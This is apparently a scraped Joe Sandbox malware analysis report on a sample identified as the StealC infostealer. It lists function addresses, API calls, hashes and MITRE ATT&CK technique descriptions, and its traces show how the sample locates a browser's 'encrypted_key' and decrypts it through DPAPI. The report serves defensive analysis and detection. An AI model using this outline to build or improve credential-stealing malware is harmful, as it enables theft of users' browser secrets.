Instruction ID: efb17ec0b34c6c921c0770876452452f8d29ce6eebf07960dbcc4963cf9886ea
Opcode Fuzzy Hash: fa2d43aa0e42f26b63b2ca2cd1aaf925ae001835106e2add4a2830f3d20c7ebe
Instruction Fuzzy Hash: F781E4719101149ACB08FBA8DD95EEE7378FF94300F508529F52AE6095EF34AA09CB63

Function 00873560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 1dd0b870ebbc502010063065f9ee83a00cff447b24414579a8b8bbbfaaaedfba
Instruction ID: 4637a240a1da6decc0dd666ffff9c0c12490d834e731d6770182e783e7ed1813
Opcode Fuzzy Hash: 1dd0b870ebbc502010063065f9ee83a00cff447b24414579a8b8bbbfaaaedfba
Instruction Fuzzy Hash: 7C411F71D10109ABCB08EFE8D845AEEB774FB54704F00C428E52AA6295DB75AA09DF93

Function 00869CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 008699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008699EC
Part of subcall function 008699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00869A11
Part of subcall function 008699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00869A31
Part of subcall function 008699C0: ReadFile.KERNEL32(000000FF,?,00000000,0086148F,00000000), ref: 00869A5A
Part of subcall function 008699C0: LocalFree.KERNEL32(0086148F), ref: 00869A90
Part of subcall function 008699C0: CloseHandle.KERNEL32(000000FF), ref: 00869A9A

Part of subcall function 00878E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00878E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00869D39

Part of subcall function 00869AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869AEF
Part of subcall function 00869AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00864EEE,00000000,?), ref: 00869B01
Part of subcall function 00869AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869B2A
Part of subcall function 00869AC0: LocalFree.KERNEL32(?,?,?,?,00864EEE,00000000,?), ref: 00869B3F

Part of subcall function 00869B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00869B84
Part of subcall function 00869B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00869BA3
Part of subcall function 00869B60: LocalFree.KERNEL32(?), ref: 00869BD3

Strings

"encrypted_key":", xrefs: 00869D30
, xrefs: 00869DC1
DPAPI, xrefs: 00869D89

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 30a44a4fa29e06cb243c5177575caf41ce3f13b7144dae583dcb33add2dd91f6
Instruction ID: 99335bd2e40befd39f89e3a011d0988c338113f859db4bf36384d1749ff1f0e0
Opcode Fuzzy Hash: 30a44a4fa29e06cb243c5177575caf41ce3f13b7144dae583dcb33add2dd91f6
Instruction Fuzzy Hash: 163112B5D10109ABCF04DBE8DC85AEFB7BCFB48304F154529E955E7281EB349A05CBA1

Function 008794D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 008794EB

Part of subcall function 00878D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0087951E,00000000), ref: 00878D5B
Part of subcall function 00878D50: RtlAllocateHeap.NTDLL(00000000), ref: 00878D62
Part of subcall function 00878D50: wsprintfW.USER32 ref: 00878D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 008795AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 008795C9
CloseHandle.KERNEL32(00000000), ref: 008795D6

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: f2a19ed0cee327324880ebb23c273efe5fc279a004209b4a3358ca9f2b2b6eb5
Instruction ID: c92f3870885de1d1d30f86b8d9a2a081db7e36521973627f65ef5df37a7a7288
Opcode Fuzzy Hash: f2a19ed0cee327324880ebb23c273efe5fc279a004209b4a3358ca9f2b2b6eb5
Instruction Fuzzy Hash: 2E310C71A0021C9FDB14DFD4CD89BEDB7B8FB59700F108459E50AAB188DB74AA89CB52

Function 008792E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00873AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00873AEE,?), ref: 008792FC
GetFileSizeEx.KERNEL32(000000FF,00873AEE), ref: 00879319
CloseHandle.KERNEL32(000000FF), ref: 00879327

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: d700ced01e987019b64f62c3b541f8d634bc034214b9f58152b43361bde30a87
Instruction ID: ecb15aba6eee0ffb3dc31b384fc9c59831770469808aef2dcd32655a6ef74802
Opcode Fuzzy Hash: d700ced01e987019b64f62c3b541f8d634bc034214b9f58152b43361bde30a87
Instruction Fuzzy Hash: 68F01935E40209ABDB10DBE0DC49BAE77F9EB58750F10C254F655E72D4D77496018B40

Function 0087C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0087C74E

Part of subcall function 0087BF9F: __amsg_exit.LIBCMT ref: 0087BFAF

__getptd.LIBCMT ref: 0087C765
__amsg_exit.LIBCMT ref: 0087C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0087C797

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 7c5133266ac7c7ddd4cf82bbf2569ba891b5c64a0bc588005da80f357e870ba0
Instruction ID: d75c9b472fd0b5b68020738e703b39d61a52bfef14cd8d229d57ff3e6ed4cc1f
Opcode Fuzzy Hash: 7c5133266ac7c7ddd4cf82bbf2569ba891b5c64a0bc588005da80f357e870ba0
Instruction Fuzzy Hash: F6F044329016109AD728BBBC9846B4E33A1FB40B60F24C14DF41CE72EACF68D9409A57

Function 00874F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00878DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00878E0B

lstrcat.KERNEL32(?,00000000), ref: 00874F7A
lstrcat.KERNEL32(?,00881070), ref: 00874F97
lstrcat.KERNEL32(?,01169658), ref: 00874FAB
lstrcat.KERNEL32(?,00881074), ref: 00874FBD

Part of subcall function 00874910: wsprintfA.USER32 ref: 0087492C
Part of subcall function 00874910: FindFirstFileA.KERNEL32(?,?), ref: 00874943

Part of subcall function 00874910: StrCmpCA.SHLWAPI(?,00880FDC), ref: 00874971
Part of subcall function 00874910: StrCmpCA.SHLWAPI(?,00880FE0), ref: 00874987
Part of subcall function 00874910: FindNextFileA.KERNEL32(000000FF,?), ref: 00874B7D
Part of subcall function 00874910: FindClose.KERNEL32(000000FF), ref: 00874B92

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: cd0cb829e5e92dfdc320906cd1af332837e4469b18a07cdf7fddb13da92271f6
Instruction ID: 5000d4a5e19a3fe95f83ce8a64d73156524466430b933869d823017eff0352ba
Opcode Fuzzy Hash: cd0cb829e5e92dfdc320906cd1af332837e4469b18a07cdf7fddb13da92271f6
Instruction Fuzzy Hash: CA21A376900205A7CB94FBA4DC4AEED737CF769300F004554B65AD2185EF749AC9CB93

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00879860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 008645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00864880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00879C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00866280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00875510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 008717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00877500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

